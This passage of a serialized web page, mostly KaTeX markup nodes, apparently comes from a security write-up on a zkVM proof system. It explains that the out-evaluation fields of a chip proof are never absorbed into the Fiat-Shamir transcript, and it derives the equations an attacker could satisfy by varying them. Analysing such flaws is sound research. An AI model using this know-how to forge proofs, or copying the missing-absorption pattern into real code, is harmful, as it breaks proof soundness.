"type":23,"tag":41,"props":118655,"children":118657},{"className":118656},[4058,4059,4060,4061],[118658],{"type":23,"tag":41,"props":118659,"children":118661},{"className":118660,"style":113988},[4012,21574,4061],[118662],{"type":28,"value":8654},{"type":23,"tag":41,"props":118664,"children":118666},{"className":118665},[21731],[118667],{"type":28,"value":21734},{"type":23,"tag":41,"props":118669,"children":118671},{"className":118670},[4038],[118672],{"type":23,"tag":41,"props":118673,"children":118676},{"className":118674,"style":118675},[4043],"height:0.2861em;",[118677],{"type":23,"tag":41,"props":118678,"children":118679},{},[],{"type":23,"tag":41,"props":118681,"children":118683},{"className":118682,"style":4093},[4092],[],{"type":23,"tag":41,"props":118685,"children":118687},{"className":118686},[4098],[118688],{"type":28,"value":111027},{"type":23,"tag":41,"props":118690,"children":118692},{"className":118691,"style":4093},[4092],[],{"type":23,"tag":41,"props":118694,"children":118696},{"className":118695},[4001],[118697,118701,118706,118716],{"type":23,"tag":41,"props":118698,"children":118700},{"className":118699,"style":4113},[4006],[],{"type":23,"tag":41,"props":118702,"children":118704},{"className":118703},[21703],[118705],{"type":28,"value":1737},{"type":23,"tag":41,"props":118707,"children":118709},{"className":118708},[4012,28],[118710],{"type":23,"tag":41,"props":118711,"children":118713},{"className":118712},[4012],[118714],{"type":28,"value":118715},"state factors",{"type":23,"tag":41,"props":118717,"children":118719},{"className":118718},[21725],[118720],{"type":28,"value":2678},{"type":23,"tag":24,"props":118722,"children":118723},{},[118724],{"type":23,"tag":510,"props":118725,"children":118726},{},[118727],{"type":28,"value":115181},{"type":23,"tag":31,"props":118729,"children":118731},{"code":118730},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[118732],{"type":23,"tag":37,"props":118733,"children":118734},{"__ignoreMap":7},[118735],{"type":28,"value":118730},{"type":23,"tag":24,"props":118737,"children":118738},{},[118739,118745,118746,118752,118753,118759],{"type":23,"tag":37,"props":118740,"children":118742},{"className":118741},[],[118743],{"type":28,"value":118744},"r_out_evals",{"type":28,"value":970},{"type":23,"tag":37,"props":118747,"children":118749},{"className":118748},[],[118750],{"type":28,"value":118751},"w_out_evals",{"type":28,"value":6486},{"type":23,"tag":37,"props":118754,"children":118756},{"className":118755},[],[118757],{"type":28,"value":118758},"lk_out_evals",{"type":28,"value":118760}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":5436,"props":118762,"children":118763},{},[118764],{"type":23,"tag":421,"props":118765,"children":118766},{},[118767,118772,118774,118780],{"type":23,"tag":510,"props":118768,"children":118769},{},[118770],{"type":28,"value":118771},"GKR/Tower equation",{"type":28,"value":118773}," (linear in ",{"type":23,"tag":37,"props":118775,"children":118777},{"className":118776},[],[118778],{"type":28,"value":118779},"out_evals",{"type":28,"value":23944},{"type":23,"tag":24,"props":118782,"children":118783},{},[118784,118786],{"type":28,"value":118785},"The tower sumcheck claim is ",{"type":23,"tag":37,"props":118787,"children":118789},{"className":118788},[3984,3985],[118790],{"type":23,"tag":41,"props":118791,"children":118793},{"className":118792},[3990],[118794],{"type":23,"tag":41,"props":118795,"children":118797},{"className":118796,"ariaHidden":3996},[3995],[118798,118829,118954],{"type":23,"tag":41,"props":118799,"children":118801},{"className":118800},[4001],[118802,118806,118816,118820,118825],{"type":23,"tag":41,"props":118803,"children":118805},{"className":118804,"style":92680},[4006],[],{"type":23,"tag":41,"props":118807,"children":118809},{"className":118808},[4012,28],[118810],{"type":23,"tag":41,"props":118811,"children":118813},{"className":118812},[4012],[118814],{"type":28,"value":118815},"claim",{"type":23,"tag":41,"props":118817,"children":118819},{"className":118818,"style":4190},[4092],[],{"type":23,"tag":41,"props":118821,"children":118823},{"className":118822},[4195],[118824],{"type":28,"value":2381},{"type":23,"tag":41,"props":118826,"children":118828},{"className":118827,"style":4190},[4092],[],{"type":23,"tag":41,"props":118830,"children":118832},{"className":118831},[4001],[118833,118838,118895,118899,118941,118945,118950],{"type":23,"tag":41,"props":118834,"children":118837},{"className":118835,"style":118836},[4006],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":41,"props":118839,"children":118841},{"className":118840},[21610],[118842,118847],{"type":23,"tag":41,"props":118843,"children":118845},{"className":118844,"style":21617},[21610,21615,21616],[118846],{"type":28,"value":108560},{"type":23,"tag":41,"props":118848,"children":118850},{"className":118849},[4028],[118851],{"type":23,"tag":41,"props":118852,"children":118854},{"className":118853},[4033,21628],[118855,118884],{"type":23,"tag":41,"props":118856,"children":118858},{"className":118857},[4038],[118859,118879],{"type":23,"tag":41,"props":118860,"children":118862},{"className":118861,"style":113972},[4043],[118863],{"type":23,"tag":41,"props":118864,"children":118865},{"style":21641},[118866,118870],{"type":23,"tag":41,"props":118867,"children":118869},{"className":118868,"style":4053},[4052],[],{"type":23,"tag":41,"props":118871,"children":118873},{"className":118872},[4058,4059,4060,4061],[118874],{"type":23,"tag":41,"props":118875,"children":118877},{"className":118876,"style":113988},[4012,21574,4061],[118878],{"type":28,"value":8654},{"type":23,"tag":41,"props":118880,"children":118882},{"className":118881},[21731],[118883],{"type":28,"value":21734},{"type":23,"tag":41,"props":118885,"children":118887},{"className":118886},[4038],[118888],{"type":23,"tag":41,"props":118889,"children":118891},{"className":118890,"style":114003},[4043],[118892],{"type":23,"tag":41,"props":118893,"children":118894},{},[],{"type":23,"tag":41,"props":118896,"children":118898},{"className":118897,"style":4131},[4092],[],{"type":23,"tag":41,"props":118900,"children":118902},{"className":118901},[4012],[118903,118908],{"type":23,"tag":41,"props":118904,"children":118906},{"className":118905,"style":114853},[4012,21574],[118907],{"type":28,"value":114856},{"type":23,"tag":41,"props":118909,"children":118911},{"className":118910},[4028],[118912],{"type":23,"tag":41,"props":118913,"children":118915},{"className":118914},[4033],[118916],{"type":23,"tag":41,"props":118917,"children":118919},{"className":118918},[4038],[118920],{"type":23,"tag":41,"props":118921,"children":118924},{"className":118922,"style":118923},[4043],"height:0.8247em;",[118925],{"type":23,"tag":41,"props":118926,"children":118927},{"style":4047},[118928,118932],{"type":23,"tag":41,"props":118929,"children":118931},{"className":118930,"style":4053},[4052],[],{"type":23,"tag":41,"props":118933,"children":118935},{"className":118934},[4058,4059,4060,4061],[118936],{"type":23,"tag":41,"props":118937,"children":118939},{"className":118938,"style":113988},[4012,21574,4061],[118940],{"type":28,"value":8654},{"type":23,"tag":41,"props":118942,"children":118944},{"className":118943,"style":4093},[4092],[],{"type":23,"tag":41,"props":118946,"children":118948},{"className":118947},[4098],[118949],{"type":28,"value":111027},{"type":23,"tag":41,"props":118951,"children":118953},{"className":118952,"style":4093},[4092],[],{"type":23,"tag":41,"props":118955,"children":118957},{"className":118956},[4001],[118958,118962,118971,118976],{"type":23,"tag":41,"props":118959,"children":118961},{"className":118960,"style":94178},[4006],[],{"type":23,"tag":41,"props":118963,"children":118965},{"className":118964},[4012,28],[118966],{"type":23,"tag":41,"props":118967,"children":118969},{"className":118968},[4012],[118970],{"type":28,"value":118439},{"type":23,"tag":41,"props":118972,"children":118974},{"className":118973,"style":92765},[4012],[118975],{"type":28,"value":3084},{"type":23,"tag":41,"props":118977,"children":118979},{"className":118978},[4012],[118980,118989],{"type":23,"tag":41,"props":118981,"children":118983},{"className":118982},[4012,28],[118984],{"type":23,"tag":41,"props":118985,"children":118987},{"className":118986},[4012],[118988],{"type":28,"value":118458},{"type":23,"tag":41,"props":118990,"children":118992},{"className":118991},[4028],[118993],{"type":23,"tag":41,"props":118994,"children":118996},{"className":118995},[4033,21628],[118997,119026],{"type":23,"tag":41,"props":118998,"children":119000},{"className":118999},[4038],[119001,119021],{"type":23,"tag":41,"props":119002,"children":119004},{"className":119003,"style":93294},[4043],[119005],{"type":23,"tag":41,"props":119006,"children":119007},{"style":113895},[119008,119012],{"type":23,"tag":41,"props":119009,"children":119011},{"className":119010,"style":4053},[4052],[],{"type":23,"tag":41,"props":119013,"children":119015},{"className":119014},[4058,4059,4060,4061],[119016],{"type":23,"tag":41,"props":119017,"children":119019},{"className":119018,"style":113988},[4012,21574,4061],[119020],{"type":28,"value":8654},{"type":23,"tag":41,"props":119022,"children":119024},{"className":119023},[21731],[119025],{"type":28,"value":21734},{"type":23,"tag":41,"props":119027,"children":119029},{"className":119028},[4038],[119030],{"type":23,"tag":41,"props":119031,"children":119033},{"className":119032,"style":118675},[4043],[119034],{"type":23,"tag":41,"props":119035,"children":119036},{},[],{"type":23,"tag":24,"props":119038,"children":119039},{},[119040,119042,119047],{"type":28,"value":119041},"This check is linear in ",{"type":23,"tag":37,"props":119043,"children":119045},{"className":119044},[],[119046],{"type":28,"value":118779},{"type":28,"value":706},{"type":23,"tag":5436,"props":119049,"children":119050},{"start":54},[119051],{"type":23,"tag":421,"props":119052,"children":119053},{},[119054,119059,119061,119066],{"type":23,"tag":510,"props":119055,"children":119056},{},[119057],{"type":28,"value":119058},"rw-product consistency",{"type":28,"value":119060}," (bilinear in ",{"type":23,"tag":37,"props":119062,"children":119064},{"className":119063},[],[119065],{"type":28,"value":118779},{"type":28,"value":23944},{"type":23,"tag":24,"props":119068,"children":119069},{},[119070],{"type":23,"tag":37,"props":119071,"children":119073},{"className":119072},[3984,3985],[119074],{"type":23,"tag":41,"props":119075,"children":119077},{"className":119076},[3990],[119078],{"type":23,"tag":41,"props":119079,"children":119081},{"className":119080,"ariaHidden":3996},[3995],[119082,119253,119424],{"type":23,"tag":41,"props":119083,"children":119085},{"className":119084},[4001],[119086,119090,119147,119151,119160,119165,119174,119179,119240,119244,119249],{"type":23,"tag":41,"props":119087,"children":119089},{"className":119088,"style":92707},[4006],[],{"type":23,"tag":41,"props":119091,"children":119093},{"className":119092},[21610],[119094,119099],{"type":23,"tag":41,"props":119095,"children":119097},{"className":119096,"style":21617},[21610,21615,21616],[119098],{"type":28,"value":118363},{"type":23,"tag":41,"props":119100,"children":119102},{"className":119101},[4028],[119103],{"type":23,"tag":41,"props":119104,"children":119106},{"className":119105},[4033,21628],[119107,119136],{"type":23,"tag":41,"props":119108,"children":119110},{"className":119109},[4038],[119111,119131],{"type":23,"tag":41,"props":119112,"children":119114},{"className":119113,"style":113972},[4043],[119115],{"type":23,"tag":41,"props":119116,"children":119117},{"style":21641},[119118,119122],{"type":23,"tag":41,"props":119119,"children":119121},{"className":119120,"style":4053},[4052],[],{"type":23,"tag":41,"props":119123,"children":119125},{"className":119124},[4058,4059,4060,4061],[119126],{"type":23,"tag":41,"props":119127,"children":119129},{"className":119128},[4012,21574,4061],[119130],{"type":28,"value":3737},{"type":23,"tag":41,"props":119132,"children":119134},{"className":119133},[21731],[119135],{"type":28,"value":21734},{"type":23,"tag":41,"props":119137,"children":119139},{"className":119138},[4038],[119140],{"type":23,"tag":41,"props":119141,"children":119143},{"className":119142,"style":114252},[4043],[119144],{"type":23,"tag":41,"props":119145,"children":119146},{},[],{"type":23,"tag":41,"props":119148,"children":119150},{"className":119149,"style":4131},[4092],[],{"type":23,"tag":41,"props":119152,"children":119154},{"className":119153},[4012,28],[119155],{"type":23,"tag":41,"props":119156,"children":119158},{"className":119157},[4012],[119159],{"type":28,"value":93584},{"type":23,"tag":41,"props":119161,"children":119163},{"className":119162,"style":92765},[4012],[119164],{"type":28,"value":3084},{"type":23,"tag":41,"props":119166,"children":119168},{"className":119167},[4012,28],[119169],{"type":23,"tag":41,"props":119170,"children":119172},{"className":119171},[4012],[119173],{"type":28,"value":118439},{"type":23,"tag":41,"props":119175,"children":119177},{"className":119176,"style":92765},[4012],[119178],{"type":28,"value":3084},{"type":23,"tag":41,"props":119180,"children":119182},{"className":119181},[4012],[119183,119192],{"type":23,"tag":41,"props":119184,"children":119186},{"className":119185},[4012,28],[119187],{"type":23,"tag":41,"props":119188,"children":119190},{"className":119189},[4012],[119191],{"type":28,"value":118458},{"type":23,"tag":41,"props":119193,"children":119195},{"className":119194},[4028],[119196],{"type":23,"tag":41,"props":119197,"children":119199},{"className":119198},[4033,21628],[119200,119229],{"type":23,"tag":41,"props":119201,"children":119203},{"className":119202},[4038],[119204,119224],{"type":23,"tag":41,"props":119205,"children":119207},{"className":119206,"style":93294},[4043],[119208],{"type":23,"tag":41,"props":119209,"children":119210},{"style":113895},[119211,119215],{"type":23,"tag":41,"props":119212,"children":119214},{"className":119213,"style":4053},[4052],[],{"type":23,"tag":41,"props":119216,"children":119218},{"className":119217},[4058,4059,4060,4061],[119219],{"type":23,"tag":41,"props":119220,"children":119222},{"className":119221},[4012,21574,4061],[119223],{"type":28,"value":3737},{"type":23,"tag":41,"props":119225,"children":119227},{"className":119226},[21731],[119228],{"type":28,"value":21734},{"type":23,"tag":41,"props":119230,"children":119232},{"className":119231},[4038],[119233],{"type":23,"tag":41,"props":119234,"children":119236},{"className":119235,"style":92848},[4043],[119237],{"type":23,"tag":41,"props":119238,"children":119239},{},[],{"type":23,"tag":41,"props":119241,"children":119243},{"className":119242,"style":4190},[4092],[],{"type":23,"tag":41,"props":119245,"children":119247},{"className":119246},[4195],[119248],{"type":28,"value":2381},{"type":23,"tag":41,"props":119250,"children":119252},{"className":119251,"style":4190},[4092],[],{"type":23,"tag":41,"props":119254,"children":119256},{"className":119255},[4001],[119257,119261,119318,119322,119331,119336,119345,119350,119411,119415,119420],{"type":23,"tag":41,"props":119258,"children":119260},{"className":119259,"style":118527},[4006],[],{"type":23,"tag":41,"props":119262,"children":119264},{"className":119263},[21610],[119265,119270],{"type":23,"tag":41,"props":119266,"children":119268},{"className":119267,"style":21617},[21610,21615,21616],[119269],{"type":28,"value":118363},{"type":23,"tag":41,"props":119271,"children":119273},{"className":119272},[4028],[119274],{"type":23,"tag":41,"props":119275,"children":119277},{"className":119276},[4033,21628],[119278,119307],{"type":23,"tag":41,"props":119279,"children":119281},{"className":119280},[4038],[119282,119302],{"type":23,"tag":41,"props":119283,"children":119285},{"className":119284,"style":113972},[4043],[119286],{"type":23,"tag":41,"props":119287,"children":119288},{"style":21641},[119289,119293],{"type":23,"tag":41,"props":119290,"children":119292},{"className":119291,"style":4053},[4052],[],{"type":23,"tag":41,"props":119294,"children":119296},{"className":119295},[4058,4059,4060,4061],[119297],{"type":23,"tag":41,"props":119298,"children":119300},{"className":119299,"style":113988},[4012,21574,4061],[119301],{"type":28,"value":8654},{"type":23,"tag":41,"props":119303,"children":119305},{"className":119304},[21731],[119306],{"type":28,"value":21734},{"type":23,"tag":41,"props":119308,"children":119310},{"className":119309},[4038],[119311],{"type":23,"tag":41,"props":119312,"children":119314},{"className":119313,"style":114003},[4043],[119315],{"type":23,"tag":41,"props":119316,"children":119317},{},[],{"type":23,"tag":41,"props":119319,"children":119321},{"className":119320,"style":4131},[4092],[],{"type":23,"tag":41,"props":119323,"children":119325},{"className":119324},[4012,28],[119326],{"type":23,"tag":41,"props":119327,"children":119329},{"className":119328},[4012],[119330],{"type":28,"value":49566},{"type":23,"tag":41,"props":119332,"children":119334},{"className":119333,"style":92765},[4012],[119335],{"type":28,"value":3084},{"type":23,"tag":41,"props":119337,"children":119339},{"className":119338},[4012,28],[119340],{"type":23,"tag":41,"props":119341,"children":119343},{"className":119342},[4012],[119344],{"type":28,"value":118439},{"type":23,"tag":41,"props":119346,"children":119348},{"className":119347,"style":92765},[4012],[119349],{"type":28,"value":3084},{"type":23,"tag":41,"props":119351,"children":119353},{"className":119352},[4012],[119354,119363],{"type":23,"tag":41,"props":119355,"children":119357},{"className":119356},[4012,28],[119358],{"type":23,"tag":41,"props":119359,"children":119361},{"className":119360},[4012],[119362],{"type":28,"value":118458},{"type":23,"tag":41,"props":119364,"children":119366},{"className":119365},[4028],[119367],{"type":23,"tag":41,"props":119368,"children":119370},{"className":119369},[4033,21628],[119371,119400],{"type":23,"tag":41,"props":119372,"children":119374},{"className":119373},[4038],[119375,119395],{"type":23,"tag":41,"props":119376,"children":119378},{"className":119377,"style":93294},[4043],[119379],{"type":23,"tag":41,"props":119380,"children":119381},{"style":113895},[119382,119386],{"type":23,"tag":41,"props":119383,"children":119385},{"className":119384,"style":4053},[4052],[],{"type":23,"tag":41,"props":119387,"children":119389},{"className":119388},[4058,4059,4060,4061],[119390],{"type":23,"tag":41,"props":119391,"children":119393},{"className":119392,"style":113988},[4012,21574,4061],[119394],{"type":28,"value":8654},{"type":23,"tag":41,"props":119396,"children":119398},{"className":119397},[21731],[119399],{"type":28,"value":21734},{"type":23,"tag":41,"props":119401,"children":119403},{"className":119402},[4038],[119404],{"type":23,"tag":41,"props":119405,"children":119407},{"className":119406,"style":118675},[4043],[119408],{"type":23,"tag":41,"props":119409,"children":119410},{},[],{"type":23,"tag":41,"props":119412,"children":119414},{"className":119413,"style":4093},[4092],[],{"type":23,"tag":41,"props":119416,"children":119418},{"className":119417},[4098],[119419],{"type":28,"value":111027},{"type":23,"tag":41,"props":119421,"children":119423},{"className":119422,"style":4093},[4092],[],{"type":23,"tag":41,"props":119425,"children":119427},{"className":119426},[4001],[119428,119432,119437,119446],{"type":23,"tag":41,"props":119429,"children":119431},{"className":119430,"style":4113},[4006],[],{"type":23,"tag":41,"props":119433,"children":119435},{"className":119434},[21703],[119436],{"type":28,"value":1737},{"type":23,"tag":41,"props":119438,"children":119440},{"className":119439},[4012,28],[119441],{"type":23,"tag":41,"props":119442,"children":119444},{"className":119443},[4012],[119445],{"type":28,"value":118715},{"type":23,"tag":41,"props":119447,"children":119449},{"className":119448},[21725],[119450],{"type":28,"value":2678},{"type":23,"tag":24,"props":119452,"children":119453},{},[119454,119456,119625,119626,119795],{"type":28,"value":119455},"If we vary ",{"type":23,"tag":37,"props":119457,"children":119459},{"className":119458},[3984,3985],[119460],{"type":23,"tag":41,"props":119461,"children":119463},{"className":119462},[3990],[119464],{"type":23,"tag":41,"props":119465,"children":119467},{"className":119466,"ariaHidden":3996},[3995],[119468,119546],{"type":23,"tag":41,"props":119469,"children":119471},{"className":119470},[4001],[119472,119476,119533,119537,119542],{"type":23,"tag":41,"props":119473,"children":119475},{"className":119474,"style":109735},[4006],[],{"type":23,"tag":41,"props":119477,"children":119479},{"className":119478},[4012],[119480,119485],{"type":23,"tag":41,"props":119481,"children":119483},{"className":119482},[4012,21574],[119484],{"type":28,"value":19263},{"type":23,"tag":41,"props":119486,"children":119488},{"className":119487},[4028],[119489],{"type":23,"tag":41,"props":119490,"children":119492},{"className":119491},[4033,21628],[119493,119522],{"type":23,"tag":41,"props":119494,"children":119496},{"className":119495},[4038],[119497,119517],{"type":23,"tag":41,"props":119498,"children":119500},{"className":119499,"style":92817},[4043],[119501],{"type":23,"tag":41,"props":119502,"children":119503},{"style":92821},[119504,119508],{"type":23,"tag":41,"props":119505,"children":119507},{"className":119506,"style":4053},[4052],[],{"type":23,"tag":41,"props":119509,"children":119511},{"className":119510},[4058,4059,4060,4061],[119512],{"type":23,"tag":41,"props":119513,"children":119515},{"className":119514},[4012,4061],[119516],{"type":28,"value":4024},{"type":23,"tag":41,"props":119518,"children":119520},{"className":119519},[21731],[119521],{"type":28,"value":21734},{"type":23,"tag":41,"props":119523,"children":119525},{"className":119524},[4038],[119526],{"type":23,"tag":41,"props":119527,"children":119529},{"className":119528,"style":92848},[4043],[119530],{"type":23,"tag":41,"props":119531,"children":119532},{},[],{"type":23,"tag":41,"props":119534,"children":119536},{"className":119535,"style":4190},[4092],[],{"type":23,"tag":41,"props":119538,"children":119540},{"className":119539},[4195],[119541],{"type":28,"value":2381},{"type":23,"tag":41,"props":119543,"children":119545},{"className":119544,"style":4190},[4092],[],{"type":23,"tag":41,"props":119547,"children":119549},{"className":119548},[4001],[119550,119554,119595,119600,119605,119610,119615,119620],{"type":23,"tag":41,"props":119551,"children":119553},{"className":119552,"style":92707},[4006],[],{"type":23,"tag":41,"props":119555,"children":119557},{"className":119556},[4012],[119558,119567,119572,119581,119586],{"type":23,"tag":41,"props":119559,"children":119561},{"className":119560},[4012,28],[119562],{"type":23,"tag":41,"props":119563,"children":119565},{"className":119564},[4012],[119566],{"type":28,"value":93584},{"type":23,"tag":41,"props":119568,"children":119570},{"className":119569,"style":92765},[4012],[119571],{"type":28,"value":3084},{"type":23,"tag":41,"props":119573,"children":119575},{"className":119574},[4012,28],[119576],{"type":23,"tag":41,"props":119577,"children":119579},{"className":119578},[4012],[119580],{"type":28,"value":118439},{"type":23,"tag":41,"props":119582,"children":119584},{"className":119583,"style":92765},[4012],[119585],{"type":28,"value":3084},{"type":23,"tag":41,"props":119587,"children":119589},{"className":119588},[4012,28],[119590],{"type":23,"tag":41,"props":119591,"children":119593},{"className":119592},[4012],[119594],{"type":28,"value":118458},{"type":23,"tag":41,"props":119596,"children":119598},{"className":119597},[21703],[119599],{"type":28,"value":312},{"type":23,"tag":41,"props":119601,"children":119603},{"className":119602},[4012],[119604],{"type":28,"value":4024},{"type":23,"tag":41,"props":119606,"children":119608},{"className":119607},[21725],[119609],{"type":28,"value":15402},{"type":23,"tag":41,"props":119611,"children":119613},{"className":119612},[21703],[119614],{"type":28,"value":312},{"type":23,"tag":41,"props":119616,"children":119618},{"className":119617},[4012],[119619],{"type":28,"value":4024},{"type":23,"tag":41,"props":119621,"children":119623},{"className":119622},[21725],[119624],{"type":28,"value":15402},{"type":28,"value":1361},{"type":23,"tag":37,"props":119627,"children":119629},{"className":119628},[3984,3985],[119630],{"type":23,"tag":41,"props":119631,"children":119633},{"className":119632},[3990],[119634],{"type":23,"tag":41,"props":119635,"children":119637},{"className":119636,"ariaHidden":3996},[3995],[119638,119716],{"type":23,"tag":41,"props":119639,"children":119641},{"className":119640},[4001],[119642,119646,119703,119707,119712],{"type":23,"tag":41,"props":119643,"children":119645},{"className":119644,"style":109735},[4006],[],{"type":23,"tag":41,"props":119647,"children":119649},{"className":119648},[4012],[119650,119655],{"type":23,"tag":41,"props":119651,"children":119653},{"className":119652},[4012,21574],[119654],{"type":28,"value":19263},{"type":23,"tag":41,"props":119656,"children":119658},{"className":119657},[4028],[119659],{"type":23,"tag":41,"props":119660,"children":119662},{"className":119661},[4033,21628],[119663,119692],{"type":23,"tag":41,"props":119664,"children":119666},{"className":119665},[4038],[119667,119687],{"type":23,"tag":41,"props":119668,"children":119670},{"className":119669,"style":92817},[4043],[119671],{"type":23,"tag":41,"props":119672,"children":119673},{"style":92821},[119674,119678],{"type":23,"tag":41,"props":119675,"children":119677},{"className":119676,"style":4053},[4052],[],{"type":23,"tag":41,"props":119679,"children":119681},{"className":119680},[4058,4059,4060,4061],[119682],{"type":23,"tag":41,"props":119683,"children":119685},{"className":119684},[4012,4061],[119686],{"type":28,"value":317},{"type":23,"tag":41,"props":119688,"children":119690},{"className":119689},[21731],[119691],{"type":28,"value":21734},{"type":23,"tag":41,"props":119693,"children":119695},{"className":119694},[4038],[119696],{"type":23,"tag":41,"props":119697,"children":119699},{"className":119698,"style":92848},[4043],[119700],{"type":23,"tag":41,"props":119701,"children":119702},{},[],{"type":23,"tag":41,"props":119704,"children":119706},{"className":119705,"style":4190},[4092],[],{"type":23,"tag":41,"props":119708,"children":119710},{"className":119709},[4195],[119711],{"type":28,"value":2381},{"type":23,"tag":41,"props":119713,"children":119715},{"className":119714,"style":4190},[4092],[],{"type":23,"tag":41,"props":119717,"children":119719},{"className":119718},[4001],[119720,119724,119765,119770,119775,119780,119785,119790],{"type":23,"tag":41,"props":119721,"children":119723},{"className":119722,"style":92707},[4006],[],{"type":23,"tag":41,"props":119725,"children":119727},{"className":119726},[4012],[119728,119737,119742,119751,119756],{"type":23,"tag":41,"props":119729,"children":119731},{"className":119730},[4012,28],[119732],{"type":23,"tag":41,"props":119733,"children":119735},{"className":119734},[4012],[119736],{"type":28,"value":93584},{"type":23,"tag":41,"props":119738,"children":119740},{"className":119739,"style":92765},[4012],[119741],{"type":28,"value":3084},{"type":23,"tag":41,"props":119743,"children":119745},{"className":119744},[4012,28],[119746],{"type":23,"tag":41,"props":119747,"children":119749},{"className":119748},[4012],[119750],{"type":28,"value":118439},{"type":23,"tag":41,"props":119752,"children":119754},{"className":119753,"style":92765},[4012],[119755],{"type":28,"value":3084},{"type":23,"tag":41,"props":119757,"children":119759},{"className":119758},[4012,28],[119760],{"type":23,"tag":41,"props":119761,"children":119763},{"className":119762},[4012],[119764],{"type":28,"value":118458},{"type":23,"tag":41,"props":119766,"children":119768},{"className":119767},[21703],[119769],{"type":28,"value":312},{"type":23,"tag":41,"props":119771,"children":119773},{"className":119772},[4012],[119774],{"type":28,"value":4024},{"type":23,"tag":41,"props":119776,"children":119778},{"className":119777},[21725],[119779],{"type":28,"value":15402},{"type":23,"tag":41,"props":119781,"children":119783},{"className":119782},[21703],[119784],{"type":28,"value":312},{"type":23,"tag":41,"props":119786,"children":119788},{"className":119787},[4012],[119789],{"type":28,"value":317},{"type":23,"tag":41,"props":119791,"children":119793},{"className":119792},[21725],[119794],{"type":28,"value":15402},{"type":28,"value":119796}," we get the following constraint:",{"type":23,"tag":24,"props":119798,"children":119799},{},[119800],{"type":23,"tag":37,"props":119801,"children":119803},{"className":119802},[3984,3985],[119804],{"type":23,"tag":41,"props":119805,"children":119807},{"className":119806},[3990],[119808],{"type":23,"tag":41,"props":119809,"children":119811},{"className":119810,"ariaHidden":3996},[3995],[119812,119891,119969,120010],{"type":23,"tag":41,"props":119813,"children":119815},{"className":119814},[4001],[119816,119821,119878,119882,119887],{"type":23,"tag":41,"props":119817,"children":119820},{"className":119818,"style":119819},[4006],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":41,"props":119822,"children":119824},{"className":119823},[4012],[119825,119830],{"type":23,"tag":41,"props":119826,"children":119828},{"className":119827},[4012,21574],[119829],{"type":28,"value":19263},{"type":23,"tag":41,"props":119831,"children":119833},{"className":119832},[4028],[119834],{"type":23,"tag":41,"props":119835,"children":119837},{"className":119836},[4033,21628],[119838,119867],{"type":23,"tag":41,"props":119839,"children":119841},{"className":119840},[4038],[119842,119862],{"type":23,"tag":41,"props":119843,"children":119845},{"className":119844,"style":92817},[4043],[119846],{"type":23,"tag":41,"props":119847,"children":119848},{"style":92821},[119849,119853],{"type":23,"tag":41,"props":119850,"children":119852},{"className":119851,"style":4053},[4052],[],{"type":23,"tag":41,"props":119854,"children":119856},{"className":119855},[4058,4059,4060,4061],[119857],{"type":23,"tag":41,"props":119858,"children":119860},{"className":119859},[4012,4061],[119861],{"type":28,"value":4024},{"type":23,"tag":41,"props":119863,"children":119865},{"className":119864},[21731],[119866],{"type":28,"value":21734},{"type":23,"tag":41,"props":119868,"children":119870},{"className":119869},[4038],[119871],{"type":23,"tag":41,"props":119872,"children":119874},{"className":119873,"style":92848},[4043],[119875],{"type":23,"tag":41,"props":119876,"children":119877},{},[],{"type":23,"tag":41,"props":119879,"children":119881},{"className":119880,"style":4093},[4092],[],{"type":23,"tag":41,"props":119883,"children":119885},{"className":119884},[4098],[119886],{"type":28,"value":111027},{"type":23,"tag":41,"props":119888,"children":119890},{"className":119889,"style":4093},[4092],[],{"type":23,"tag":41,"props":119892,"children":119894},{"className":119893},[4001],[119895,119899,119956,119960,119965],{"type":23,"tag":41,"props":119896,"children":119898},{"className":119897,"style":119819},[4006],[],{"type":23,"tag":41,"props":119900,"children":119902},{"className":119901},[4012],[119903,119908],{"type":23,"tag":41,"props":119904,"children":119906},{"className":119905},[4012,21574],[119907],{"type":28,"value":19263},{"type":23,"tag":41,"props":119909,"children":119911},{"className":119910},[4028],[119912],{"type":23,"tag":41,"props":119913,"children":119915},{"className":119914},[4033,21628],[119916,119945],{"type":23,"tag":41,"props":119917,"children":119919},{"className":119918},[4038],[119920,119940],{"type":23,"tag":41,"props":119921,"children":119923},{"className":119922,"style":92817},[4043],[119924],{"type":23,"tag":41,"props":119925,"children":119926},{"style":92821},[119927,119931],{"type":23,"tag":41,"props":119928,"children":119930},{"className":119929,"style":4053},[4052],[],{"type":23,"tag":41,"props":119932,"children":119934},{"className":119933},[4058,4059,4060,4061],[119935],{"type":23,"tag":41,"props":119936,"children":119938},{"className":119937},[4012,4061],[119939],{"type":28,"value":317},{"type":23,"tag":41,"props":119941,"children":119943},{"className":119942},[21731],[119944],{"type":28,"value":21734},{"type":23,"tag":41,"props":119946,"children":119948},{"className":119947},[4038],[119949],{"type":23,"tag":41,"props":119950,"children":119952},{"className":119951,"style":92848},[4043],[119953],{"type":23,"tag":41,"props":119954,"children":119955},{},[],{"type":23,"tag":41,"props":119957,"children":119959},{"className":119958,"style":4093},[4092],[],{"type":23,"tag":41,"props":119961,"children":119963},{"className":119962},[4098],[119964],{"type":28,"value":111027},{"type":23,"tag":41,"props":119966,"children":119968},{"className":119967,"style":4093},[4092],[],{"type":23,"tag":41,"props":119970,"children":119972},{"className":119971},[4001],[119973,119977,119982,119992,119997,120001,120006],{"type":23,"tag":41,"props":119974,"children":119976},{"className":119975,"style":4113},[4006],[],{"type":23,"tag":41,"props":119978,"children":119980},{"className":119979},[21703],[119981],{"type":28,"value":1737},{"type":23,"tag":41,"props":119983,"children":119985},{"className":119984},[4012,28],[119986],{"type":23,"tag":41,"props":119987,"children":119989},{"className":119988},[4012],[119990],{"type":28,"value":119991},"rest of 